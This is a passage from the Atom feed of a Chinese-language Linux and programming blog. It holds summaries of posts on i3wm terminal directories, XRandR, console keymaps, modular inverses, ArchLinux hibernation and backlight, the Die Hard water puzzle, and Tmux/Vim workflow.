&lt;strong&gt;TL;DR&lt;&#x2F;strong&gt;：grep 添加 &lt;code&gt;--line-buffered&lt;&#x2F;code&gt;，sed 添加 &lt;code&gt;-u&lt;&#x2F;code&gt;，awk 调 &lt;code&gt;fflush()&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>从当前位置打开 Terminal</title>
        <published>2019-12-26T00:00:00+08:00</published>
        <updated>2019-12-26T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/12/keep-terminal-cwd/"/>
        <id>https://vercel.juzhong.asia/2019/12/keep-terminal-cwd/</id>
        
        <summary type="html">&lt;h1 id=&quot;cong-dang-qian-wei-zhi-da-kai-terminal&quot;&gt;从当前位置打开 Terminal&lt;&#x2F;h1&gt;
&lt;p&gt;我们有很多工作区时，每次打开一个 Terminal 都需要先 cd 到和上一个 Terminal 一样的位置再开始工作。
这个过程既然是固定的，那就一定能自动化。&lt;&#x2F;p&gt;
&lt;p&gt;Harttle 遇到的具体场景是，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;i3wm.org&#x2F;&quot;&gt;i3wm&lt;&#x2F;a&gt; 有 workspace（工作区）的概念，每个工作区可以打开任意多个 Terminal。
我希望同一个工作区的 Terminal 打开时都有一样的 CWD（Current Working Directory），
不同的工作区有不同的 CWD。即：&lt;strong&gt;打开 Terminal 时，自动 cd 到当前工作区其他 Terminal 所在的位置&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;本文基于 Reddit 上的一个小脚本展开，这一思路适用所有 Terminal Emulator 和 Desktop Environment（尽管我只有 Window Manager 也是适用的）。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>X11 多显示器配置：玩转 XRandR</title>
        <published>2019-12-24T00:00:00+08:00</published>
        <updated>2019-12-24T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/12/auto-xrandr/"/>
        <id>https://vercel.juzhong.asia/2019/12/auto-xrandr/</id>
        
        <summary type="html">&lt;h1 id=&quot;x11-duo-xian-shi-qi-pei-zhi-wan-zhuan-xrandr&quot;&gt;X11 多显示器配置：玩转 XRandR&lt;&#x2F;h1&gt;
&lt;p&gt;RandR（Resize and Rotate）协议是基于 X Window 系统的一个扩展，它可以直接操作显示器模式、刷新率，属于 DDX 组件。
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Xrandr&quot;&gt;xrandr&lt;&#x2F;a&gt; 是官方的 RandR 配置工具，比老的 Xinerama 机制更容易测试和配置。
本文在没有桌面环境的情况下直接对底层软件进行配置，如果有安装某种 DE 可以在其控制面板中找到对应的配置。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>VT 下的键盘映射设置</title>
        <published>2019-12-07T00:00:00+08:00</published>
        <updated>2019-12-07T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/12/virtual-console-keymap/"/>
        <id>https://vercel.juzhong.asia/2019/12/virtual-console-keymap/</id>
        
        <summary type="html">&lt;h1 id=&quot;vt-xia-de-jian-pan-ying-she-she-zhi&quot;&gt;VT 下的键盘映射设置&lt;&#x2F;h1&gt;
&lt;p&gt;最近遇到在 X11 下切换到 TTY 可以用 Ctrl+LeftAlt+Fn 或 Ctrl+RightAlt+Fn，但从 TTY 切换回 X11 只能使用 Ctrl+LeftAlt+Fn 的问题。
为了手感比较一致今晚解决了这个问题并记录在这里，希望能帮助遇到同样问题的人。&lt;&#x2F;p&gt;
&lt;p&gt;具体原因是 X11 下的键盘映射由 xkbmap 来管理，它默认提供了比较复杂的配置；但 VT 直接运行在内核上没有经过 X11 它的配置更直接和简单。
这两份配置的不同导致了在 VT 下 RightAlt 不能正确映射。
这里我们关心的是 keycode 到 keysym 的映射关系，
更过关于 scancode, keycode, keysym 的概念解释可以先参考
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;harttle.land&#x2F;2019&#x2F;08&#x2F;08&#x2F;linux-keymap-on-macbook.html&quot;&gt;ArchLinux 键盘映射&lt;&#x2F;a&gt; 的第一小节。
这个 keycode 到 keysym 的映射关系就是我们常说的 keymap，
就是装各种系统时要选的键盘布局。
所有的 keymap 都存在 &lt;code&gt;&#x2F;usr&#x2F;share&#x2F;dbd&#x2F;keymaps&lt;&#x2F;code&gt; 中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;find &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;kbd&amp;#x2F;keymaps&amp;#x2F; -type f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键在于 X11 和 VT 中如何选择这些文件，其中每个 .map.gz 文件解压后得到的 .map 文件即为键盘布局文件。文件中的数字表示 keycode，Alt、Control 这样的词即为 keysym。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>使用模逆元计算组合问题</title>
        <published>2019-10-20T00:00:00+08:00</published>
        <updated>2019-10-20T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/10/modular-multiplicative-inverse/"/>
        <id>https://vercel.juzhong.asia/2019/10/modular-multiplicative-inverse/</id>
        
        <summary type="html">&lt;h1 id=&quot;shi-yong-mo-ni-yuan-ji-suan-zu-he-wen-ti&quot;&gt;使用模逆元计算组合问题&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Modular_multiplicative_inverse&quot;&gt;模逆元&lt;&#x2F;a&gt;（modular multiplicative inverse）俗称模倒数，是指与原数的乘积和 1 同余的整数。即对于整数 $a$ 和 $n$：&lt;&#x2F;p&gt;
&lt;p&gt;$$
ax \equiv 1 \mod(n)
$$&lt;&#x2F;p&gt;
&lt;p&gt;上式中 x 就是 a 对于 n 的模逆元，$a$ 与 $n$ 互质时模倒数存在，否则不存在。
它的数学意义是模倒数存在时，除以一个数和乘以它的模倒数同余，可以把除法转换为乘法。
这对于计算大数（10 以上）组合问题非常有效，适用于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.hackerrank.com&#x2F;challenges&#x2F;sherlock-and-permutations&quot;&gt;Sherlock and Permutations&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.hackerrank.com&#x2F;challenges&#x2F;matrix-tracing&#x2F;problem&quot;&gt;Matrix Tracing&lt;&#x2F;a&gt; 等问题。
这类问题的都可以转化为组合问题 ${n \choose m}$，由于它的值通常会很大，我们只关心它对某个大质数 M（比如 $1e9 + 7$）的模：&lt;&#x2F;p&gt;
&lt;p&gt;$$
{n \choose m} = C_n^m = \frac{n!}{m!(n-m)!} \mod{M}
$$&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>ArchLinux 休眠到交换文件</title>
        <published>2019-10-19T00:00:00+08:00</published>
        <updated>2019-10-19T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/10/hibernate-archlinux/"/>
        <id>https://vercel.juzhong.asia/2019/10/hibernate-archlinux/</id>
        
        <summary type="html">&lt;h1 id=&quot;archlinux-xiu-mian-dao-jiao-huan-wen-jian&quot;&gt;ArchLinux 休眠到交换文件&lt;&#x2F;h1&gt;
&lt;p&gt;Linux 使用交换分区来休眠，首先冻结所有进程并申请足够的交换内存（位于磁盘），把当前内存都存进去。
然后下次启动时，initramfs 会直接加载上次休眠时的内存状态，跳过内核的 init 过程。
因此首先需要有足够大的交换分区或交换文件；再把内核指向到休眠的分区上；最后再配置 initramfs 让它加载休眠的内存文件。
官方文档请参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Power_management&#x2F;Suspend_and_hibernate#Hibernation&quot;&gt;Power_management&#x2F;Suspend_and_hibernate#Hibernation&lt;&#x2F;a&gt;，
本文细述如何休眠到交换文件，并对其中一些概念和细节进行了解释。&lt;&#x2F;p&gt;
&lt;p&gt;在本文讨论的范围内，
&lt;strong&gt;挂起&lt;&#x2F;strong&gt;（suspend）是指冻结当前的进程，保留它们的内存，并把几乎除了内存之外的设备都断电。
&lt;strong&gt;休眠&lt;&#x2F;strong&gt;（hibernate）是指把挂起后的内存写入磁盘并完全关机。
&lt;strong&gt;锁定&lt;&#x2F;strong&gt;（lock）则只是显示一个模态的全屏软件输入正确的密码才能退出。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>ArchLinux 下的屏幕背光恢复</title>
        <published>2019-10-13T00:00:00+08:00</published>
        <updated>2019-10-13T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/10/archlinux-backlight/"/>
        <id>https://vercel.juzhong.asia/2019/10/archlinux-backlight/</id>
        
        <summary type="html">&lt;h1 id=&quot;archlinux-xia-de-ping-mu-bei-guang-hui-fu&quot;&gt;ArchLinux 下的屏幕背光恢复&lt;&#x2F;h1&gt;
&lt;p&gt;最近发现我的 ArchLinux 每次解锁之后屏幕背光都会设置为最大，今晚终于有时间把它修复了。
写这篇文章介绍在 ArchLinux 下开机（Boot）和解锁（Resume）时，如何恢复此前的屏幕背光。
先解释背光控制的机制，再给如何入配置和调试。
本文以 MacBook Pro 2013 Late 为例（intel 显卡，&lt;code&gt;xf86-video-intel&lt;&#x2F;code&gt; 驱动）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文只解决背光恢复的问题，如果你的 Fn 功能键无法调整背光，请参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;harttle.land&#x2F;2019&#x2F;04&#x2F;26&#x2F;macbook-archlinux-install.html&quot;&gt;在 MacBookPro 上安装 ArchLinux&lt;&#x2F;a&gt; 中的“显示器&#x2F;键盘背光”一节。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>龙胆虎威中的四加仑水迷题（Die Hard 3）</title>
        <published>2019-09-21T00:00:00+08:00</published>
        <updated>2019-09-21T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/09/die-hard-problem/"/>
        <id>https://vercel.juzhong.asia/2019/09/die-hard-problem/</id>
        
        <summary type="html">&lt;h1 id=&quot;long-dan-hu-wei-zhong-de-si-jia-lun-shui-mi-ti-die-hard-3&quot;&gt;龙胆虎威中的四加仑水迷题（Die Hard 3）&lt;&#x2F;h1&gt;
&lt;p&gt;龙胆虎威 3 中的一个场景：在泉水旁有两个瓶子，容量分别是 5 加仑和 3 加仑。
Bruce 需要在 5 分钟内精确地得到 4 加仑水来停止定时器，差一盎司都会引起爆炸。
本文对这个问题进行推广，分别讨论&lt;strong&gt;有解的条件&lt;&#x2F;strong&gt;和&lt;strong&gt;解的构造&lt;&#x2F;strong&gt;两个问题，再给出判断是否有解的简单方法：能否被公约数整除。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如果目标水量 c 是 a 和 b 的线性组合就有解，否则无解&lt;&#x2F;strong&gt;。具体地：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;得到的水量一定是 a 和 b 的线性组合。即如果 c 不是 a 和 b 的线性组合就无解。&lt;&#x2F;li&gt;
&lt;li&gt;重复地从 a 倒入 b，就可以得到 a 和 b 的所有线性组合。即只要是线性组合就有解。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;c 是否是 a 和 b 的线性组合，取决于 c 能否被 gcd(a,b) 整除：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;gcd(a,b) 是 a 和 b 最小的正的线性组合。&lt;&#x2F;li&gt;
&lt;li&gt;gcd(a,b) 能整除 c 等价于 c 是 a 和 b 的线性组合。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;为方便讨论，本文所有线性组合都指整数线性组合，所有数字 x、y、m、n 都表示整数。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>ArchLinux 键盘映射：交换 CapsLock 和 Ctrl</title>
        <published>2019-08-08T00:00:00+08:00</published>
        <updated>2019-08-08T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2019/08/linux-keymap-on-macbook/"/>
        <id>https://vercel.juzhong.asia/2019/08/linux-keymap-on-macbook/</id>
        
        <summary type="html">&lt;h1 id=&quot;archlinux-jian-pan-ying-she-jiao-huan-capslock-he-ctrl&quot;&gt;ArchLinux 键盘映射：交换 CapsLock 和 Ctrl&lt;&#x2F;h1&gt;
&lt;p&gt;笔者在几个月前 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;harttle.land&#x2F;2019&#x2F;04&#x2F;26&#x2F;macbook-archlinux-install.html&quot;&gt;切换到 Linux&lt;&#x2F;a&gt; 下干活，使用 Xmodmap 交换掉 CapsLock 和 Ctrl。
但 Xmodmap 只能改键无法区分是哪个键盘硬件设备（偏偏 HHKB 的 Caps 本来就在左边），而且只在 X11 下好使（Virtual Console 下不起作用）。
于是近日研究了下 scancode 到 keycode 映射，通过 udev 匹配和配置特定的输入设备。
Harttle 的环境是 Macbook 下的 ArchLinux，下面的命令以此为例，但其他环境也应该类似。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：本文只讨论如何重新定义个别键的 keysym 的问题。更改键盘布局请参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Xorg&#x2F;Keyboard_configuration&quot;&gt;kbdmap&lt;&#x2F;a&gt;，更改快捷键请使用 xbindkeys 或 i3 bindsym 或你的桌面系统配置。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>保存和恢复 TMUX 工作区 —— The Easy Way</title>
        <published>2017-11-24T00:00:00+08:00</published>
        <updated>2017-11-24T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2017/11/tmux-workspace-plugin/"/>
        <id>https://vercel.juzhong.asia/2017/11/tmux-workspace-plugin/</id>
        
        <summary type="html">&lt;h1 id=&quot;bao-cun-he-hui-fu-tmux-gong-zuo-qu-the-easy-way&quot;&gt;保存和恢复 TMUX 工作区 —— The Easy Way&lt;&#x2F;h1&gt;
&lt;p&gt;Harttle 此前介绍过 &lt;a href=&quot;&#x2F;2015&#x2F;11&#x2F;06&#x2F;tmux-startup.html&quot;&gt;Tmux 的使用&lt;&#x2F;a&gt;，我们知道 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;tmux&quot;&gt;Tmux&lt;&#x2F;a&gt; 可以把所有打开的 Shell 都保存在服务器。
你的 Terminal 重启不会丢失任何东西，但 Server 重启后 Session 会全部丢失。
如果你像 Harttle 一样在开发 PC 本地运行 Tmux Server 的话，每次开机后都需要重新建立各种会话和窗格。&lt;&#x2F;p&gt;
&lt;p&gt;本文介绍一个 Tmux 插件：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmux-plugins&#x2F;tmux-resurrect&quot;&gt;tmux-resurrect&lt;&#x2F;a&gt;，
可以一键保存当前 Tmux 状态，包括 Session、Window、Pane 布局，甚至 Vim 状态也可以恢复。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你更偏向 The Hard Way，可以参考 &lt;a href=&quot;&#x2F;2016&#x2F;09&#x2F;23&#x2F;tmux-workspace-setup.html&quot;&gt;恢复 TMUX 工作区 - The Hard Way&lt;&#x2F;a&gt;，手动完成一切初始化工作。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;div&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Vim、Tmux、系统共用剪切板</title>
        <published>2017-06-23T00:00:00+08:00</published>
        <updated>2017-06-23T00:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2017/06/vim-tmux-clipboard/"/>
        <id>https://vercel.juzhong.asia/2017/06/vim-tmux-clipboard/</id>
        
        <summary type="html">&lt;h1 id=&quot;vim-tmux-xi-tong-gong-yong-jian-qie-ban&quot;&gt;Vim、Tmux、系统共用剪切板&lt;&#x2F;h1&gt;
&lt;p&gt;在 &lt;a href=&quot;&#x2F;2015&#x2F;11&#x2F;06&#x2F;tmux-startup.html&quot;&gt;Tmux 终端复用&lt;&#x2F;a&gt; 中介绍过 Tmux 的使用，
当你同时有系统剪切板、Tmux Clipboard、Vim Yank Buffer 时互相拷贝是不是很困难？
本文介绍如何让它们共用一个剪切板。&lt;&#x2F;p&gt;
&lt;div&gt;
</summary>
        
    </entry>
</feed>
